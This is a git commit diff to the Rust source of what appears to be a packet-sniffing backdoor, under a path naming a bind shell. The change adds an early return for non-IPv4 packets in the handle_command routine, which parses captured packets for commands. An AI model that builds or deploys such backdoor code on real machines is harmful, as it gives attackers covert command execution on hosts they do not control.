made basic TCP connection to receive data

somewhat
2023-12-05 00:27:02 -05:00
parent 0bb2871568
commit 8c0ae083fe
13 changed files with 349 additions and 173 deletions
--- a/examples/bind-shell/backdoor/src/main.rs
+++ b/examples/bind-shell/backdoor/src/main.rs
@@ -138,7 +138,9 @@ async fn handle_command(
 ) -> anyhow::Result<()> {
    use pcap_sys::packets::*;
    let eth_pkt = eth.pkt();
-    let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
+    let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()? else {
+        return Ok(());
+    };
    let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
        todo!()
    };